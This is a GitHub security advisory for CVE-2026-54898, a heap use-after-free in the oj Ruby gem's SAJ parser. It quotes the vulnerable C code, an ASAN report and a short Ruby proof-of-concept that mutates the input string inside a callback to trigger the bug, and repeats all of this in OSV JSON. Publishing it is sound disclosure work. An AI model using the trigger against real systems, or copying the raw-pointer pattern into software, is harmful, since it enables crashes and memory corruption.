GHSA-Q2GM-54R6-8FWM

Vulnerability from github – Published: 2026-06-19 19:36 – Updated: 2026-06-19 19:36
VLAI
Summary
Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation
Details

Summary

Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free.

Version

  • Software: oj gem
  • Affected: all versions with ext/oj/parser.c
  • Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/parser.c, parser_parse → parse:

static VALUE parser_parse(VALUE self, VALUE json) {
    const byte *ptr = (const byte *)StringValuePtr(json);  // raw pointer into Ruby string
    // ...
    parse(p, ptr);   // ptr used throughout; any realloc frees the backing buffer
}

// parser.c:607
static void parse(ojParser p, const byte *json) {
    const byte *b = json;
    // ...
    for (; '\0' != *b; b++) {   // ← UAF: reads freed memory after callback resizes json

Ruby's String#replace (or <<, gsub!, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that ptr still points to.

ASAN report:

==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81
READ of size 1 at 0x51900008ed81 thread T0
    #0 parse          /ext/oj/parser.c:607
    #1 parser_parse   /ext/oj/parser.c:1408
0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f)
freed by thread T0 here:
    #0 free
    #1 ruby_sized_xfree  (libruby-3.3.so.3.3)
Shadow bytes: [fd]fd fd fd fd fd ...  (entire region freed)

Reproduce

require 'oj'

class Mutator
  def initialize(json) = (@json = json; @done = false)

  def hash_start(key)
    return if @done; @done = true
    @json.replace('x' * 1_000_000)   # triggers String realloc, frees original buffer
  end

  def hash_end(key); end
  def array_start(key); end
  def array_end(key); end
  def add_value(value, key); end
end

json = '{"a":1,"pad":"' + ('A' * 1000) + '","z":2}'
parser = Oj::Parser.new(:saj)
parser.handler = Mutator.new(json)
parser.parse(json)
Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 3.17.2"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "oj"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.17.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T19:36:54Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`Oj::Parser#parse` is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw `const byte *` pointer into the Ruby string\u0027s internal buffer. If a callback (e.g. `hash_start`) resizes the string \u2014 for example by calling `String#replace` with a longer value \u2014 Ruby reallocates the string buffer and frees the old one. The C parser\u0027s pointer is left dangling; the next character read at `parser.c:607` is a use-after-free.\n\n### Version\n\n- **Software**: oj gem\n- **Affected**: all versions with `ext/oj/parser.c`\n- **Latest tested**: 3.17.1 (confirmed present)\n\n### Details\n\n`ext/oj/parser.c`, `parser_parse` \u2192 `parse`:\n\n```c\nstatic VALUE parser_parse(VALUE self, VALUE json) {\n    const byte *ptr = (const byte *)StringValuePtr(json);  // raw pointer into Ruby string\n    // ...\n    parse(p, ptr);   // ptr used throughout; any realloc frees the backing buffer\n}\n```\n\n```c\n// parser.c:607\nstatic void parse(ojParser p, const byte *json) {\n    const byte *b = json;\n    // ...\n    for (; \u0027\\0\u0027 != *b; b++) {   // \u2190 UAF: reads freed memory after callback resizes json\n```\n\nRuby\u0027s `String#replace` (or `\u003c\u003c`, `gsub!`, etc.) can trigger a reallocation of the string\u0027s internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that `ptr` still points to.\n\nASAN report:\n```\n==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81\nREAD of size 1 at 0x51900008ed81 thread T0\n    #0 parse          /ext/oj/parser.c:607\n    #1 parser_parse   /ext/oj/parser.c:1408\n0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f)\nfreed by thread T0 here:\n    #0 free\n    #1 ruby_sized_xfree  (libruby-3.3.so.3.3)\nShadow bytes: [fd]fd fd fd fd fd ...  (entire region freed)\n```\n\n### Reproduce\n\n```ruby\nrequire \u0027oj\u0027\n\nclass Mutator\n  def initialize(json) = (@json = json; @done = false)\n\n  def hash_start(key)\n    return if @done; @done = true\n    @json.replace(\u0027x\u0027 * 1_000_000)   # triggers String realloc, frees original buffer\n  end\n\n  def hash_end(key); end\n  def array_start(key); end\n  def array_end(key); end\n  def add_value(value, key); end\nend\n\njson = \u0027{\"a\":1,\"pad\":\"\u0027 + (\u0027A\u0027 * 1000) + \u0027\",\"z\":2}\u0027\nparser = Oj::Parser.new(:saj)\nparser.handler = Mutator.new(json)\nparser.parse(json)\n```",
  "id": "GHSA-q2gm-54r6-8fwm",
  "modified": "2026-06-19T19:36:54Z",
  "published": "2026-06-19T19:36:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ohler55/oj/security/advisories/GHSA-q2gm-54r6-8fwm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ohler55/oj"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation"
}


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